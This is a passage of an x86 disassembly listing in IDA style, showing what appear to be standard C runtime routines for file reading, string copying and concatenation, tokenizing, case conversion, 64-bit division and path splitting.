push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_411A6A
xor eax, eax
jmp loc_411B13
; ---------------------------------------------------------------------------
loc_411A6A: ; CODE XREF: sub_411A46+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_411A7D
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_411A89
; ---------------------------------------------------------------------------
loc_411A7D: ; CODE XREF: sub_411A46+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_411A89
; ---------------------------------------------------------------------------
loc_411A86: ; CODE XREF: sub_411A46+C4j
mov ecx, [ebp+arg_0]
loc_411A89: ; CODE XREF: sub_411A46+35j
; sub_411A46+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_411ABB
mov eax, [esi+4]
test eax, eax
jz short loc_411ABB
cmp ecx, eax
mov edi, ecx
jb short loc_411AA0
mov edi, eax
loc_411AA0: ; CODE XREF: sub_411A46+56j
push edi
push dword ptr [esi]
push ebx
call sub_4105F0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_411B06
; ---------------------------------------------------------------------------
loc_411ABB: ; CODE XREF: sub_411A46+49j
; sub_411A46+50j
cmp ecx, [ebp+arg_C]
jb short loc_411AEE
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_411AD1
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_411AD1: ; CODE XREF: sub_411A46+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_4165C4
add esp, 0Ch
test eax, eax
jz short loc_411B18
cmp eax, 0FFFFFFFFh
jz short loc_411B1E
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_411B06
; ---------------------------------------------------------------------------
loc_411AEE: ; CODE XREF: sub_411A46+78j
push esi
call sub_4164EB
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_411B22
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_411B06: ; CODE XREF: sub_411A46+73j
; sub_411A46+A6j
cmp [ebp+arg_0], 0
jnz loc_411A86
mov eax, [ebp+arg_8]
loc_411B13: ; CODE XREF: sub_411A46+1Fj
; sub_411A46+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_411B18: ; CODE XREF: sub_411A46+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_411B22
; ---------------------------------------------------------------------------
loc_411B1E: ; CODE XREF: sub_411A46+9Fj
or dword ptr [esi+0Ch], 20h
loc_411B22: ; CODE XREF: sub_411A46+B2j
; sub_411A46+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_411B13
sub_411A46 endp
; =============== S U B R O U T I N E =======================================
sub_411B2E proc near ; CODE XREF: sub_411B4E+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41692A
test eax, eax
jnz short loc_411B38
retn
; ---------------------------------------------------------------------------
loc_411B38: ; CODE XREF: sub_411B2E+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4167BA
add esp, 10h
retn
sub_411B2E endp
; =============== S U B R O U T I N E =======================================
sub_411B4E proc near ; CODE XREF: sub_40380D+2Ap
; seg000:00404AF6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_411B2E
add esp, 0Ch
retn
sub_411B4E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411B70 proc near ; CODE XREF: sub_4038A7+2BFp
; sub_406C6E+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_411BE1
sub_411B70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411B80 proc near ; CODE XREF: seg000:00403FE1p
; sub_406C6E+6Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_411B9C
loc_411B8D: ; CODE XREF: sub_411B80+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_411BCF
test ecx, 3
jnz short loc_411B8D
loc_411B9C: ; CODE XREF: sub_411B80+Bj
; sub_411B80+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_411B9C
mov eax, [ecx-4]
test al, al
jz short loc_411BDE
test ah, ah
jz short loc_411BD9
test eax, 0FF0000h
jz short loc_411BD4
test eax, 0FF000000h
jz short loc_411BCF
jmp short loc_411B9C
; ---------------------------------------------------------------------------
loc_411BCF: ; CODE XREF: sub_411B80+12j
; sub_411B80+4Bj
lea edi, [ecx-1]
jmp short loc_411BE1
; ---------------------------------------------------------------------------
loc_411BD4: ; CODE XREF: sub_411B80+44j
lea edi, [ecx-2]
jmp short loc_411BE1
; ---------------------------------------------------------------------------
loc_411BD9: ; CODE XREF: sub_411B80+3Dj
lea edi, [ecx-3]
jmp short loc_411BE1
; ---------------------------------------------------------------------------
loc_411BDE: ; CODE XREF: sub_411B80+39j
lea edi, [ecx-4]
loc_411BE1: ; CODE XREF: sub_411B70+5j
; sub_411B80+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_411C06
loc_411BED: ; CODE XREF: sub_411B80+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_411C58
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_411BED
jmp short loc_411C06
; ---------------------------------------------------------------------------
loc_411C01: ; CODE XREF: sub_411B80+9Ej
; sub_411B80+B8j
mov [edi], edx
add edi, 4
loc_411C06: ; CODE XREF: sub_411B80+6Bj
; sub_411B80+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_411C01
test dl, dl
jz short loc_411C58
test dh, dh
jz short loc_411C4F
test edx, 0FF0000h
jz short loc_411C42
test edx, 0FF000000h
jz short loc_411C3A
jmp short loc_411C01
; ---------------------------------------------------------------------------
loc_411C3A: ; CODE XREF: sub_411B80+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_411C42: ; CODE XREF: sub_411B80+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_411C4F: ; CODE XREF: sub_411B80+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_411C58: ; CODE XREF: sub_411B80+72j
; sub_411B80+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_411B80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411C60 proc near ; CODE XREF: sub_4038A7+2B2p
; seg000:00403F85p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_411C79: ; CODE XREF: sub_411C60+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_411C79
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_411CA1
mov edx, ds:dword_45F840
loc_411CA1: ; CODE XREF: sub_411C60+39j
; sub_411C60+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_411CC1
test al, al
jz short loc_411CC1
inc edx
jmp short loc_411CA1
; ---------------------------------------------------------------------------
loc_411CC1: ; CODE XREF: sub_411C60+58j
; sub_411C60+5Cj
mov ebx, edx
loc_411CC3: ; CODE XREF: sub_411C60+81j
mov al, [edx]
test al, al
jz short loc_411CE7
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_411CE3
inc edx
jmp short loc_411CC3
; ---------------------------------------------------------------------------
loc_411CE3: ; CODE XREF: sub_411C60+7Ej
and byte ptr [edx], 0
inc edx
loc_411CE7: ; CODE XREF: sub_411C60+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov ds:dword_45F840, edx
and eax, ebx
pop ebx
leave
retn
sub_411C60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411D00 proc near ; CODE XREF: sub_404134+1B4p
; seg000:00405068p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_411D83
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_411D24
shr ecx, 2
jnz short loc_411D91
jmp short loc_411D45
; ---------------------------------------------------------------------------
loc_411D24: ; CODE XREF: sub_411D00+1Bj
; sub_411D00+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_411D52
test al, al
jz short loc_411D5A
test esi, 3
jnz short loc_411D24
mov ebx, ecx
shr ecx, 2
jnz short loc_411D91
loc_411D40: ; CODE XREF: sub_411D00+8Fj
and ebx, 3
jz short loc_411D52
loc_411D45: ; CODE XREF: sub_411D00+22j
; sub_411D00+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_411D7E
dec ebx
jnz short loc_411D45
loc_411D52: ; CODE XREF: sub_411D00+2Bj
; sub_411D00+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_411D5A: ; CODE XREF: sub_411D00+2Fj
test edi, 3
jz short loc_411D74
loc_411D62: ; CODE XREF: sub_411D00+72j
mov [edi], al
inc edi
dec ecx
jz loc_411DF6
test edi, 3
jnz short loc_411D62
loc_411D74: ; CODE XREF: sub_411D00+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_411DE7
loc_411D7B: ; CODE XREF: sub_411D00+7Fj
; sub_411D00+F4j
mov [edi], al
inc edi
loc_411D7E: ; CODE XREF: sub_411D00+4Dj
dec ebx
jnz short loc_411D7B
pop ebx
pop esi
loc_411D83: ; CODE XREF: sub_411D00+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_411D89: ; CODE XREF: sub_411D00+A9j
; sub_411D00+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_411D40
loc_411D91: ; CODE XREF: sub_411D00+20j
; sub_411D00+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_411D89
test dl, dl
jz short loc_411DDB
test dh, dh
jz short loc_411DD1
test edx, 0FF0000h
jz short loc_411DC7
test edx, 0FF000000h
jnz short loc_411D89
mov [edi], edx
jmp short loc_411DDF
; ---------------------------------------------------------------------------
loc_411DC7: ; CODE XREF: sub_411D00+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_411DDF
; ---------------------------------------------------------------------------
loc_411DD1: ; CODE XREF: sub_411D00+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_411DDF
; ---------------------------------------------------------------------------
loc_411DDB: ; CODE XREF: sub_411D00+ADj
xor edx, edx
mov [edi], edx
loc_411DDF: ; CODE XREF: sub_411D00+C5j
; sub_411D00+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_411DF1
loc_411DE7: ; CODE XREF: sub_411D00+79j
xor eax, eax
loc_411DE9: ; CODE XREF: sub_411D00+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_411DE9
loc_411DF1: ; CODE XREF: sub_411D00+E5j
and ebx, 3
jnz short loc_411D7B
loc_411DF6: ; CODE XREF: sub_411D00+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_411D00 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_411E7A
mov edi, [esp+14h]
test edi, edi
jz short loc_411E1D
cmp edi, 1
jz short loc_411E1D
cmp edi, 2
jnz short loc_411E7A
loc_411E1D: ; CODE XREF: seg000:00411E11j
; seg000:00411E16j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_411E34
push esi
call sub_416A3C
add [esp+14h], eax
pop ecx
xor edi, edi
loc_411E34: ; CODE XREF: seg000:00411E25j
push esi
call sub_416419
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_411E49
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_411E5D
; ---------------------------------------------------------------------------
loc_411E49: ; CODE XREF: seg000:00411E40j
test al, 1
jz short loc_411E5D
test al, 8
jz short loc_411E5D
test ah, 4
jnz short loc_411E5D
mov dword ptr [esi+18h], 200h
loc_411E5D: ; CODE XREF: seg000:00411E47j
; seg000:00411E4Bj ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_4169A2
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_411E87
; ---------------------------------------------------------------------------
loc_411E7A: ; CODE XREF: seg000:00411E09j
; seg000:00411E1Bj
mov ds:dword_45F844, 16h
or eax, 0FFFFFFFFh
loc_411E87: ; CODE XREF: seg000:00411E78j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E90 proc near ; CODE XREF: seg000:00409B6Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_411EC1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_411EBF
jz short loc_411EC1
dec ecx
dec ecx
loc_411EBF: ; CODE XREF: sub_411E90+29j
not ecx
loc_411EC1: ; CODE XREF: sub_411E90+9j
; sub_411E90+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_411E90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411ED0 proc near ; CODE XREF: sub_404EB9+5Cp
; sub_404EB9+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_411F84
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_411EFA
loc_411EEB: ; CODE XREF: sub_411ED0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_411F2B
test edi, 3
jnz short loc_411EEB
loc_411EFA: ; CODE XREF: sub_411ED0+19j
; sub_411ED0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_411EFA
mov eax, [edi-4]
test al, al
jz short loc_411F38
test ah, ah
jz short loc_411F33
test eax, 0FF0000h
jz short loc_411F2E
test eax, 0FF000000h
jnz short loc_411EFA
loc_411F2B: ; CODE XREF: sub_411ED0+20j
dec edi
jmp short loc_411F3B
; ---------------------------------------------------------------------------
loc_411F2E: ; CODE XREF: sub_411ED0+52j
sub edi, 2
jmp short loc_411F3B
; ---------------------------------------------------------------------------
loc_411F33: ; CODE XREF: sub_411ED0+4Bj
sub edi, 3
jmp short loc_411F3B
; ---------------------------------------------------------------------------
loc_411F38: ; CODE XREF: sub_411ED0+47j
sub edi, 4
loc_411F3B: ; CODE XREF: sub_411ED0+5Cj
; sub_411ED0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_411F50
mov ebx, ecx
shr ecx, 2
jnz short loc_411F9C
jmp short loc_411F6C
; ---------------------------------------------------------------------------
loc_411F50: ; CODE XREF: sub_411ED0+75j
; sub_411ED0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_411F8A
mov [edi], dl
inc edi
dec ecx
jz short loc_411F80
test esi, 3
jnz short loc_411F50
mov ebx, ecx
shr ecx, 2
jnz short loc_411F9C
loc_411F6C: ; CODE XREF: sub_411ED0+7Ej
; sub_411ED0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_411F80
loc_411F73: ; CODE XREF: sub_411ED0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_411F82
dec ecx
jnz short loc_411F73
loc_411F80: ; CODE XREF: sub_411ED0+8Bj
; sub_411ED0+A1j
mov [edi], cl
loc_411F82: ; CODE XREF: sub_411ED0+ABj
pop ebx
pop esi
loc_411F84: ; CODE XREF: sub_411ED0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_411F8A: ; CODE XREF: sub_411ED0+85j
; sub_411ED0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_411F94: ; CODE XREF: sub_411ED0+E4j
; sub_411ED0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_411F6C
loc_411F9C: ; CODE XREF: sub_411ED0+7Cj
; sub_411ED0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_411F94
test dl, dl
jz short loc_411F8A
test dh, dh
jz short loc_411FE8
test edx, 0FF0000h
jz short loc_411FD8
test edx, 0FF000000h
jnz short loc_411F94
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_411FD8: ; CODE XREF: sub_411ED0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_411FE8: ; CODE XREF: sub_411ED0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_411ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412000 proc near ; CODE XREF: seg000:0040BBA0p
; seg000:0040BBBEp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_412021
xor eax, eax
jmp short loc_412023
; ---------------------------------------------------------------------------
loc_412021: ; CODE XREF: sub_412000+1Bj
mov eax, edi
loc_412023: ; CODE XREF: sub_412000+1Fj
cld
pop edi
leave
retn
sub_412000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412027 proc near ; CODE XREF: sub_406DE8+6p
; sub_406E06+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_45F8D0, 0
push ebx
push esi
push edi
jnz short loc_412054
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_4120ED
cmp eax, 5Ah
jg loc_4120ED
add eax, 20h
jmp loc_4120ED
; ---------------------------------------------------------------------------
loc_412054: ; CODE XREF: sub_412027+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_412088
cmp ds:dword_42E39C, esi
jle short loc_412076
push esi
push ebx
call sub_413446
pop ecx
pop ecx
jmp short loc_412080
; ---------------------------------------------------------------------------
loc_412076: ; CODE XREF: sub_412027+42j
mov eax, ds:off_42E190
mov al, [eax+ebx*2]
and eax, esi
loc_412080: ; CODE XREF: sub_412027+4Dj
test eax, eax
jnz short loc_412088
loc_412084: ; CODE XREF: sub_412027+ADj
mov eax, ebx
jmp short loc_4120ED
; ---------------------------------------------------------------------------
loc_412088: ; CODE XREF: sub_412027+3Aj
; sub_412027+5Bj
mov edx, ds:off_42E190
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4120AC
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_4120B5
; ---------------------------------------------------------------------------
loc_4120AC: ; CODE XREF: sub_412027+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_4120B5: ; CODE XREF: sub_412027+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push ds:dword_45F8D0
call loc_416B94
add esp, 20h
test eax, eax
jz short loc_412084
cmp eax, esi
jnz short loc_4120E0
movzx eax, [ebp+var_4]
jmp short loc_4120ED
; ---------------------------------------------------------------------------
loc_4120E0: ; CODE XREF: sub_412027+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4120ED: ; CODE XREF: sub_412027+16j
; sub_412027+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_412027 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_412100 proc near ; CODE XREF: sub_4078E6+3Dp
; sub_40867B+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_412121
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_412171
; ---------------------------------------------------------------------------
loc_412121: ; CODE XREF: sub_412100+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41212F: ; CODE XREF: sub_412100+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41212F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41215A
cmp edx, [esp+4+arg_4]
ja short loc_41215A
jb short loc_412162
cmp eax, [esp+4+arg_0]
jbe short loc_412162
loc_41215A: ; CODE XREF: sub_412100+4Aj
; sub_412100+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_412162: ; CODE XREF: sub_412100+52j
; sub_412100+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_412171: ; CODE XREF: sub_412100+1Fj
pop ebx
retn 10h
sub_412100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_412180 proc near ; CODE XREF: sub_4078E6+24p
; sub_40867B+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_4121A2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4121E3
; ---------------------------------------------------------------------------
loc_4121A2: ; CODE XREF: sub_412180+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4121B0: ; CODE XREF: sub_412180+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4121B0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4121DE
cmp edx, [esp+8+arg_4]
ja short loc_4121DE
jb short loc_4121DF
cmp eax, [esp+8+arg_0]
jbe short loc_4121DF
loc_4121DE: ; CODE XREF: sub_412180+4Ej
; sub_412180+54j
dec esi
loc_4121DF: ; CODE XREF: sub_412180+56j
; sub_412180+5Cj
xor edx, edx
mov eax, esi
loc_4121E3: ; CODE XREF: sub_412180+20j
pop esi
pop ebx
retn 10h
sub_412180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4121E8 proc near ; CODE XREF: sub_40799C+1E3p
; seg000:00408BE9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_410B60
cmp eax, 1
pop ecx
jb short loc_412223
cmp byte ptr [ebx+1], 3Ah
jnz short loc_412223
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41221F
push 2
push ebx
push esi
call sub_4171C3
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41221F: ; CODE XREF: sub_4121E8+25j
inc ebx
inc ebx
jmp short loc_41222D
; ---------------------------------------------------------------------------
loc_412223: ; CODE XREF: sub_4121E8+18j
; sub_4121E8+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41222D
and byte ptr [eax], 0
loc_41222D: ; CODE XREF: sub_4121E8+39j
; sub_4121E8+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_4122A5
loc_412240: ; CODE XREF: sub_4121E8+87j
mov cl, [eax]
movzx edx, cl
test ds:byte_460D81[edx], 4
jz short loc_412251
inc eax
jmp short loc_41226B
; ---------------------------------------------------------------------------
loc_412251: ; CODE XREF: sub_4121E8+64j
cmp cl, 2Fh
jz short loc_412265
cmp cl, 5Ch
jz short loc_412265
cmp cl, 2Eh
jnz short loc_41226B
mov [ebp+var_4], eax
jmp short loc_41226B
; ---------------------------------------------------------------------------
loc_412265: ; CODE XREF: sub_4121E8+6Cj
; sub_4121E8+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41226B: ; CODE XREF: sub_4121E8+67j
; sub_4121E8+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_412240
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_4122A5
cmp [ebp+arg_8], 0
jz short loc_4122A0
sub edi, ebx
cmp edi, esi
jb short loc_412289
mov edi, esi
loc_412289: ; CODE XREF: sub_4121E8+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_4171C3
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4122A0: ; CODE XREF: sub_4121E8+97j
mov ebx, [ebp+arg_4]
jmp short loc_4122AF
; ---------------------------------------------------------------------------
loc_4122A5: ; CODE XREF: sub_4121E8+56j
; sub_4121E8+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_4122AF
and byte ptr [ecx], 0
loc_4122AF: ; CODE XREF: sub_4121E8+BBj
; sub_4121E8+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_412302
cmp edi, ebx
jb short loc_412302
cmp [ebp+arg_C], 0
jz short loc_4122DF
sub edi, ebx
cmp edi, esi
jb short loc_4122C8
mov edi, esi
loc_4122C8: ; CODE XREF: sub_4121E8+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_4171C3
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4122DF: ; CODE XREF: sub_4121E8+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41232A
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_4122EF
mov esi, eax
loc_4122EF: ; CODE XREF: sub_4121E8+103j
push esi
push [ebp+var_4]
push edi
call sub_4171C3
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41232A
; ---------------------------------------------------------------------------
loc_412302: ; CODE XREF: sub_4121E8+CCj
; sub_4121E8+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_412320
sub eax, ebx
cmp eax, esi
jnb short loc_412311
mov esi, eax
loc_412311: ; CODE XREF: sub_4121E8+125j
push esi
push ebx
push edi
call sub_4171C3
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_412320: ; CODE XREF: sub_4121E8+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41232A
